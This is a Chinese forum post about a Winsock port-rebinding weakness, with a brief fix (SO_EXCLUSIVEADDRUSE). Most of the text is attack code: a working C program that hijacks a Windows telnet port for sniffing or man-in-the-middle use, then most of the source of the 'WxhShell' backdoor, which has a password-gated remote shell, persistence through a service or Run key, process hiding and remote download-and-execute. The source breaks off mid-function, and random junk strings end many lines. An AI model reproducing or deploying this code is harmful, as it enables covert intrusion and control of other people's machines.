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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bP6QF1L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1fQvh/2  
XY1NTo. =  
  saddr.sin_family = AF_INET; <[?oP[ j  
9C$b^wHd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8=T;R&U^M  
pQ*9)C   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %]>c4"H  
WhSQ>h!@s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0X`Qt[  
ss%ahs  
  这意味着什么?意味着可以进行如下的攻击: jio1 #&  
$B*Ek>EK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RqXcL,,9  
1a| q&L`o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [sTr#9Z  
#,qw~l]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WDSkk"#TF  
wQ*vcbQX*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?@(_GrE-  
[E2afC>zrl  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 23qTmh  
HW"|Hm$Y(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 : +/V  
cG,B;kMjo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1s=M3m&H  
K/+5$SjF  
  #include K&9|0xt  
  #include *ZKI02M  
  #include y;yXOE_  
  #include    ^T)HRT-k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7tfMD(Q]e/  
  int main() ly}6zOC\  
  { ?2%d;tW  
  WORD wVersionRequested; .Hl]xI$;+  
  DWORD ret; -B9C2  
  WSADATA wsaData; mgL~ $  
  BOOL val; R?(0:f  
  SOCKADDR_IN saddr; F5gL-\6  
  SOCKADDR_IN scaddr; ?7@B$OlU  
  int err; j=r`[B m  
  SOCKET s; o  <0f  
  SOCKET sc; 8V;@yzI ha  
  int caddsize; {tV)+T  
  HANDLE mt; _jR%o1Y}  
  DWORD tid;   dfiA- h  
  wVersionRequested = MAKEWORD( 2, 2 ); A$WE:<^  
  err = WSAStartup( wVersionRequested, &wsaData ); {^Vkxf]  
  if ( err != 0 ) { BP,"vq$'+  
  printf("error!WSAStartup failed!\n"); 2Auhv!xV  
  return -1; gtyo~f  
  } MmI4J$F  
  saddr.sin_family = AF_INET; Z2(z,pK  
   pB&3JmgR$)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Nlx7"_R"Q  
_:Tjq)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 75r>~@)*  
  saddr.sin_port = htons(23);  VljAAt  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ha@'%<gFe  
  { sk\U[#ohH  
  printf("error!socket failed!\n"); 1%]| O  
  return -1; %UI.E=`n  
  } Lz2wOB1Zc+  
  val = TRUE; *j?tcxq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?!U=S=8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }BKEz[G(  
  { 2S&e!d-  
  printf("error!setsockopt failed!\n"); m beM/  
  return -1; Uy5IvG;O+  
  } =zDU!< U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @ JZ I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?FVX &{{V  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w>p0ldi  
C$vKRg\o  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A`T VV  
  { )y\^5>p[  
  ret=GetLastError(); Ds9pXgU( Z  
  printf("error!bind failed!\n"); ,3.E]_3 xX  
  return -1; L)a8W   
  } OKNA36cU'  
  listen(s,2); YFv/t=`  
  while(1) nW3-)Q89  
  { yMq&9R9F  
  caddsize = sizeof(scaddr); UQ:H3  
  //接受连接请求 ;o8C(5xE|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,=O`'l >K  
  if(sc!=INVALID_SOCKET) dFS>uIT7X  
  { +(x^5~QX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O%H_._#N`  
  if(mt==NULL) l9lBhltOH  
  { MIo<sJuv  
  printf("Thread Creat Failed!\n"); P,k~! F^L  
  break; swYlp  
  } mTz %;+|L  
  } ]|it&4l  
  CloseHandle(mt); Tz4,lwuWX7  
  } V%8?f,  
  closesocket(s); NZdjS9  
  WSACleanup(); iZ<^p1i  
  return 0; "CLoM\M)  
  }   HYyO/U9z|I  
  DWORD WINAPI ClientThread(LPVOID lpParam) p~6/+ap  
  { 8W#/=Xh?  
  SOCKET ss = (SOCKET)lpParam; ?:vp3f#  
  SOCKET sc; y  >r7(qg  
  unsigned char buf[4096]; n$ $^(-g@)  
  SOCKADDR_IN saddr; lqn7$  
  long num; {a\O7$A\F  
  DWORD val; 5ppOG_  
  DWORD ret; |iKk'Rta4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (9% ki$=}+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >A5R  
  saddr.sin_family = AF_INET; %@#+Xpa+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `E+)e?z  
  saddr.sin_port = htons(23); f uQbDb&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lT#&\JQ  
  { k"\%x =#  
  printf("error!socket failed!\n"); 6!dbJ5x1  
  return -1; k!3X4;F!_  
  } SNV~;@(h  
  val = 100; )Fx"S.Ok  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p4C w#)BaS  
  { ZQXv-"  
  ret = GetLastError(); u?5 d%]*  
  return -1; R''nZ/R  
  } ) DXN|<A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0]4kR8R3[  
  { gD10C,{  
  ret = GetLastError(); {a^A-Xh[u  
  return -1; gF-<%<RV  
  } Zu`; S#Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h6<abT@I  
  { $R(?@B(  
  printf("error!socket connect failed!\n"); 5b45u 6  
  closesocket(sc); ("Z;)s4q  
  closesocket(ss); s0uI;WMg  
  return -1; ~XN--4%Q  
  } ;*1bTdB5a  
  while(1) uPKq<hBI  
  { <_$]!Z6UR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]E'BFon  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XI:8_F;Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \95qH ,w)T  
  num = recv(ss,buf,4096,0); =F'p#N0_2  
  if(num>0) -1iKeyyA  
  send(sc,buf,num,0);  Ec IgX_\  
  else if(num==0) PPk\W7G  
  break; <~;;iM6  
  num = recv(sc,buf,4096,0); '{dduHo  
  if(num>0) *p:`F:  
  send(ss,buf,num,0); .Uq?SmK  
  else if(num==0)  %Xs3Lz  
  break; wmKM:`&[5  
  } J!5BH2bg  
  closesocket(ss); gwhd) .*  
  closesocket(sc); _J(n~"eR  
  return 0 ; **_`AM~  
  } @Gp=9\L  
g?N~mca$  
 N1,=5P$  
========================================================== #=F"PhiX`  
uT'_}cw  
下边附上一个代码,,WXhSHELL qcMVY\gi  
i;Cs,Esnf  
========================================================== pm$2*!1F(  
K*iy^}  
#include "stdafx.h" ,<?iL~> %  
d\aKGq;8C  
#include <stdio.h> u>c\J|K_V  
#include <string.h> 9rXbv4{  
#include <windows.h> w}+#w8hu  
#include <winsock2.h> x{4Rm,Dxn  
#include <winsvc.h> GslUN% UJr  
#include <urlmon.h> HDQhXw!!hc  
T'\B17 :*  
#pragma comment (lib, "Ws2_32.lib") j,%@%upM  
#pragma comment (lib, "urlmon.lib") xw_VK1  
h4rIt3`  
#define MAX_USER   100 // 最大客户端连接数 vvA=:J4/i)  
#define BUF_SOCK   200 // sock buffer +Go(y S  
#define KEY_BUFF   255 // 输入 buffer ].F7. zi  
@_"B0$,-i  
#define REBOOT     0   // 重启 1=BDqSZ@9  
#define SHUTDOWN   1   // 关机 Td#D\d\R  
V.zKjoky@  
#define DEF_PORT   5000 // 监听端口 @sQ^6FK0G  
+Qy*s1fit  
#define REG_LEN     16   // 注册表键长度 ~3byAL  
#define SVC_LEN     80   // NT服务名长度 <@i.~EL  
#o Rm-yDr  
// 从dll定义API +./c=o/v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XMhDx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y[%1?CREP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3TUW+#[Gu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ] jbQou@  
[MSLVTR  
// wxhshell配置信息 9$,x^Qx  
struct WSCFG { bwh7.lDAl  
  int ws_port;         // 监听端口 kN3T/96  
  char ws_passstr[REG_LEN]; // 口令 mF!/8qk   
  int ws_autoins;       // 安装标记, 1=yes 0=no [ZwZGAP  
  char ws_regname[REG_LEN]; // 注册表键名 yM dEH-?/  
  char ws_svcname[REG_LEN]; // 服务名 hZGoiWC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d:/8P985  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vZV+24YWb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  .G}E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yXU-@~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y,qP$ 5xiq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bqug o  
s2Gi4fY?  
}; Y.I-h l1<r  
zJ{?'kp  
// default Wxhshell configuration p- 5)J&  
struct WSCFG wscfg={DEF_PORT, {\-rZb==F2  
    "xuhuanlingzhe", O%)@> 5#S  
    1, RjS;Ck@;  
    "Wxhshell", }~P%S(zB  
    "Wxhshell", fDc>E+,  
            "WxhShell Service", n}==  
    "Wrsky Windows CmdShell Service", p.KX[I  
    "Please Input Your Password: ", 9hAS#|vK  
  1, =H*}{'#  
  "http://www.wrsky.com/wxhshell.exe", xe^*\6Y  
  "Wxhshell.exe" U3r[ysf  
    }; ( Lj{V}^  
\)'nxFKqV  
// 消息定义模块 >cwyb9;!kK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z09FW>"u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K/RQ-xd4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H5t 9Mg|  
char *msg_ws_ext="\n\rExit."; J6x\_]1:*  
char *msg_ws_end="\n\rQuit."; 216+ tX5Z  
char *msg_ws_boot="\n\rReboot..."; 8r[ZGUV  
char *msg_ws_poff="\n\rShutdown..."; 4 -)'a} O  
char *msg_ws_down="\n\rSave to "; T1zft#1~  
Ta#vD_QP  
char *msg_ws_err="\n\rErr!"; u#5/s8  
char *msg_ws_ok="\n\rOK!"; FFXDt"i2  
SNP.n))   
char ExeFile[MAX_PATH]; d_9Fc" C~  
int nUser = 0; -1Y9-nn[m  
HANDLE handles[MAX_USER]; gyH'92ck  
int OsIsNt; pT]M]/y/:  
& pwSd  
SERVICE_STATUS       serviceStatus; iO=xx|d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fr'M)ox1  
UnNvlkjq9  
// 函数声明 )#-27Y  
int Install(void); <*L=u;  
int Uninstall(void); 7L)1mB.  
int DownloadFile(char *sURL, SOCKET wsh); tB.;T0n  
int Boot(int flag); mhTpR0  
void HideProc(void); ZK5(_qW&i  
int GetOsVer(void); #1R_* Uh  
int Wxhshell(SOCKET wsl); }aYm86C]  
void TalkWithClient(void *cs); H"(:6 `  
int CmdShell(SOCKET sock); MhC74G  
int StartFromService(void); 0?uX}8w  
int StartWxhshell(LPSTR lpCmdLine); k5G(7Ug=g~  
.d`+#1Ot(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3_=~7B) 8  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  {ZFa +  
WtI1h`Fo  
// 数据结构和表定义 H3{x; {.b  
SERVICE_TABLE_ENTRY DispatchTable[] = xO'I*)  
{ 4mOw[}@A  
{wscfg.ws_svcname, NTServiceMain}, \C.%S +u  
{NULL, NULL} /H.QGPr  
}; PK1j$ &F  
hT6:7 _UD  
// 自我安装 8)/i\=N3;  
int Install(void) GkMNV7"m  
{ T#Pz_ hAu  
  char svExeFile[MAX_PATH]; oTZ?x}Z1  
  HKEY key; "?,3O2t  
  strcpy(svExeFile,ExeFile); SCeZt [  
RAKQ+Y"nl  
// 如果是win9x系统,修改注册表设为自启动 ANSvZqKh  
if(!OsIsNt) { aKs!*uo0H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FtN1ZZ"<*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %sC,;^wla'  
  RegCloseKey(key); bGRI^ [8#+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TRz~rW k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ezTu1-m  
  RegCloseKey(key); S-Va_ t$  
  return 0; /rp4m&!  
    } Bp\io$(%  
  } C>cc!+n%H  
} R#~}ZUk2  
else { o^~6RZ  
Gb 61X6  
// 如果是NT以上系统,安装为系统服务 O%9Cq}*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'R*gSqx~  
if (schSCManager!=0) /Nq!^=  
{ tYIHsm\b  
  SC_HANDLE schService = CreateService Z_' %'&Y  
  ( T Uhp  
  schSCManager, ?>MD/l(l  
  wscfg.ws_svcname, DHpU?;|3  
  wscfg.ws_svcdisp, a#H=dIj  
  SERVICE_ALL_ACCESS, ^ vI|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nR/; uTTz  
  SERVICE_AUTO_START, 8DTk<5mW~  
  SERVICE_ERROR_NORMAL, ;]fpdu{  
  svExeFile, `.a L>hf  
  NULL, F$r8 hj`  
  NULL, /og}e~q  
  NULL, pALB[;9g  
  NULL, u#p1W|\4  
  NULL M)Rp+uQ  
  ); ,2JqX>On>Y  
  if (schService!=0) ~m!>e])P?X  
  { qq-&z6;$  
  CloseServiceHandle(schService); =D5@PHpv(  
  CloseServiceHandle(schSCManager); p@i U}SUaE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X2@mQ&n  
  strcat(svExeFile,wscfg.ws_svcname); w GZ(bKyO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =\4w" /Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7g ]]>  
  RegCloseKey(key); 7~\Dzcfk"P  
  return 0; NOyLZa'  
    } QXJD' c  
  } $Fz/&;KX!  
  CloseServiceHandle(schSCManager); ([|5(Omd\  
} VK`_ Qc#B  
} W3UK[_qK  
CW\o>yh  
return 1; /p\Ymq  
} yD1*^~loJ  
2DQ'h}BI  
// 自我卸载 u-UUF  
int Uninstall(void) ?^BsR  
{ |+6Z+-.Hg  
  HKEY key; ]p'Qk  
N["c*=x  
if(!OsIsNt) { ZfT%EPoZ:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5YS`v#+  
  RegDeleteValue(key,wscfg.ws_regname); vlIdi@V  
  RegCloseKey(key); v{ C]\8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  QN_5q5  
  RegDeleteValue(key,wscfg.ws_regname); V EY!0PIj  
  RegCloseKey(key); 8g>jz 8  
  return 0;  >o.u,  
  } W<!q>8Xn?  
} BCUw"R#  
} H'gPGOd  
else { lG# &Pv>-  
gY0*u+LF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Q9S$l]  
if (schSCManager!=0) h>mQ; L  
{ ItM?nyA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JS(KCY9  
  if (schService!=0) &tMvs<q,  
  { @1n0<V /  
  if(DeleteService(schService)!=0) { 9}}D -&Mc  
  CloseServiceHandle(schService); bSz6O/A/  
  CloseServiceHandle(schSCManager); q<c).4  
  return 0; !LIWoa[ F.  
  } oPa2GW8  
  CloseServiceHandle(schService); Y2<#%@%4  
  } ULU ]k#  
  CloseServiceHandle(schSCManager); #S<>+,Lk  
} }GkEv}~t  
} nWXI*%m5  
gFDP:I/`  
return 1; D VSYH{U4  
} =Rb,`%  
-8 &f=J)  
// 从指定url下载文件 Y}1|/6eJ  
int DownloadFile(char *sURL, SOCKET wsh) ;/oMH/,U8  
{ B/5C jHz  
  HRESULT hr; boN)C?"^h  
char seps[]= "/"; I5x/N.  
char *token; 9,y&?GLP  
char *file; 5j ]}/Aq  
char myURL[MAX_PATH]; _|A)ueY  
char myFILE[MAX_PATH]; k(^zhET  
HwU \[f  
strcpy(myURL,sURL); *3 9sh[*}  
  token=strtok(myURL,seps); 3N]pN<3@  
  while(token!=NULL) _&F6As !{  
  { /o|@]SAe.  
    file=token; e'\I^'`!M  
  token=strtok(NULL,seps); p~3CXmUc~  
  } ir]uFOj  
R4IFl z  
GetCurrentDirectory(MAX_PATH,myFILE); xY!]eLZ)&  
strcat(myFILE, "\\"); 3I"&Qp%2  
strcat(myFILE, file); K] Eq"3  
  send(wsh,myFILE,strlen(myFILE),0); k.lnG5e  
send(wsh,"...",3,0); mD)Nh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u|QfCwQ  
  if(hr==S_OK) %{HqF>=~  
return 0; /@wm?ft6Gk  
else l,v:[N  
return 1; #e9B|Y?b  
 bM-Y4[  
} ( j-(fS  
>Mvt;'c  
// 系统电源模块 ^2mXXAQf7^  
int Boot(int flag) }>Os@]*'^(  
{ w:umr#  
  HANDLE hToken; pg>P]a{  
  TOKEN_PRIVILEGES tkp; -9aht}Z  
'm2,7]  
  if(OsIsNt) { 5T   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?L'k2J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F5MWxAS,>  
    tkp.PrivilegeCount = 1; s#d# *pgzh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5X`.2q=d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7PisX!c,h  
if(flag==REBOOT) { C&5T;=<jKO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y!v$5wi  
  return 0; gH_r'j  
} +-.BF"}  
else { 1%-?e``.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MiSFT5$v6  
  return 0; Ab(bvS8r$  
} Cog:6Gnw  
  } lZ.,"F@  
  else { G4RsH/  
if(flag==REBOOT) { )E4COw+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <=7p~ i5  
  return 0; IvO3*{k ,  
} ,]cd%w9  
else { D:F!;n9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AVcZ.+?  
  return 0; 1i>)@{P&BN  
} x`lBG%Y[-v  
} gq0gr?  
' l!QGKz  
return 1; ~z aV.3#  
} bX6*/N  
6C3y+@9  
// win9x进程隐藏模块 #|e <l1F  
void HideProc(void) F;_;lRAb  
{ #15q`w  
[ wu%t8O2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %2L9kw'  
  if ( hKernel != NULL ) j2\G1@05  
  { K^> qn,]H'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,%jJ ,G,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6 XG+YIG6w  
    FreeLibrary(hKernel); PAc~p8S  
  } p5 [uVRZ  
,>g 6OU2~6  
return; N&GcWcq  
} %(e=Q^=  
_ Po9pZ  
// 获取操作系统版本 Ec[:6}  
int GetOsVer(void) 6@$[x* V  
{ ' 5Ieqpm9  
  OSVERSIONINFO winfo; *1%g=vb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {Ise (>V  
  GetVersionEx(&winfo); \ agC Q&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?3|ZS8y  
  return 1; eU12*(  
  else Th8Q ~*v  
  return 0; L*l( ~t)vF  
} V*TG%V -  
b,@:eVQ7  
// 客户端句柄模块 .DX#:?@4@Y  
int Wxhshell(SOCKET wsl) [Dt\E4  
{  z7K?rgH  
  SOCKET wsh; "ulaF+  
  struct sockaddr_in client; JBYQ7SsAS0  
  DWORD myID; dKMuo'H'%  
2cDC6rul  
  while(nUser<MAX_USER) Wu}Co  
{ ._R82 gy  
  int nSize=sizeof(client); "d#s|_n,d)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #zQkQvAT9  
  if(wsh==INVALID_SOCKET) return 1; rvG qUmSUs  
cK258mY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dn5v|[dJ  
if(handles[nUser]==0) Iq5F^rH`[  
  closesocket(wsh); U-k;kmaj  
else %z2nas$$g  
  nUser++; F+6ZD5/  
  } p!691LI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O3_Mrn(R  
! of7]s  
  return 0; jab]!eY  
} X-duG*~  
9w(j2i q  
// 关闭 socket m0edkt-x  
void CloseIt(SOCKET wsh) OYzJE@r^  
{ ZN)/doK  
closesocket(wsh); SB;Wa%  
nUser--; {NFeX'5bP  
ExitThread(0); y, Z#? O  
} =#u2Rx%V  
h1Lp:@:|  
// 客户端请求句柄 \uYUX~}i"  
void TalkWithClient(void *cs) $ -y+97  
{ 646ye Q1  
M&K@><6k,k  
  SOCKET wsh=(SOCKET)cs; ufJFS+?  
  char pwd[SVC_LEN]; IQ_0[  
  char cmd[KEY_BUFF]; Cjh&$aq  
char chr[1]; Q?>#sN,  
int i,j; 01dx}L@hz  
8fN0"pymo  
  while (nUser < MAX_USER) { d.+vjMI  
ZJ 4"QsF  
if(wscfg.ws_passstr) { A/QVotcU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YO Y+z\Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U %4g:s  
  //ZeroMemory(pwd,KEY_BUFF); 4/jY;YN,2  
      i=0; 70NHU;&N  
  while(i<SVC_LEN) { 08f~vw"  
<,GHy/u\  
  // 设置超时 ELPJ}moWZ  
  fd_set FdRead; {, |"Rpd  
  struct timeval TimeOut; `~}7k)F(  
  FD_ZERO(&FdRead); X=hgLK^3<,  
  FD_SET(wsh,&FdRead); lVFX@I=pI  
  TimeOut.tv_sec=8; ^"Y'zI L  
  TimeOut.tv_usec=0; 1Q%.-vs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gB"Tc[l1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (H F,p,h_  
I%&9`ceWY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xo%iL  
  pwd=chr[0]; PHXP1)^}S  
  if(chr[0]==0xd || chr[0]==0xa) { t2:c@)  
  pwd=0; <d^7B9O?&w  
  break; KH7]`CU  
  } CvW((<?  
  i++; YfalsQ8  
    } e.+)0)A-  
$O>@(K  
  // 如果是非法用户,关闭 socket vraU&ze\1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I5A^/=bf&  
} ;!}SgzSH}  
v;Dcq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z:hrrq9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e^GW[lT  
{|gJC>f@  
while(1) { 9H}&Ri%  
P~<93  
  ZeroMemory(cmd,KEY_BUFF); d{hYT\7~1(  
G"[pr%?  
      // 自动支持客户端 telnet标准   6'ZnyWb  
  j=0; M;Rw]M  
  while(j<KEY_BUFF) { ]*@$%iCPE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !VHIl&Mos  
  cmd[j]=chr[0]; t/1NTa  
  if(chr[0]==0xa || chr[0]==0xd) { WK}+f4tdW[  
  cmd[j]=0; =QfKDA  
  break; aX%Zuyny  
  } hN53=X:  
  j++; ?>8zU;Aj  
    } #[W[ |m  
UT~2}B9fc  
  // 下载文件 E, fp=.  
  if(strstr(cmd,"http://")) { @qDrTH]5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @,&m`qzd+  
  if(DownloadFile(cmd,wsh)) @>@Nu g2   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QL2y,?Mz7  
  else 3R*@m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X-,y[ )  
  } LwPM7S~ *  
  else { cv4M[]U~  
S7/v ,E  
    switch(cmd[0]) { \,!q[nC  
  f ti|3c  
  // 帮助 1^#Q/J,  
  case '?': { t"p#ii a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]M(f^   
    break; zjS:;!8em  
  } cmU+VZ#pk  
  // 安装 h3EDN:FQ  
  case 'i': { 1$VI\}  
    if(Install()) kA;Tr4EA6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:">,* |  
    else Iq]6]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pu*HZW3l  
    break; 8VmN? "5v  
    } $-?5Q~  
  // 卸载 }.cmiC  
  case 'r': { Oc9>F\]_m  
    if(Uninstall()) g <4M!gi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sc$wR{W<:  
    else DB%AO:8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  KdJx#Lc  
    break; Qf>Pb$c$U  
    } mMAr8~ A=  
  // 显示 wxhshell 所在路径 K!K"}%/_  
  case 'p': { XHM"agrhSQ  
    char svExeFile[MAX_PATH]; W+ '}O<  
    strcpy(svExeFile,"\n\r"); 7B\(r~f`t  
      strcat(svExeFile,ExeFile); ]3,.g)U*m  
        send(wsh,svExeFile,strlen(svExeFile),0); r_,m\'~s !  
    break; F6c[v|3  
    } ONq/JW$?LV  
  // 重启 z~e~K`S  
  case 'b': { /_OZ1jX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;T{/;  
    if(Boot(REBOOT)) /)?P>!#;\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_|~3g  
    else { \ e8*vos  
    closesocket(wsh); Hq\E 06S@  
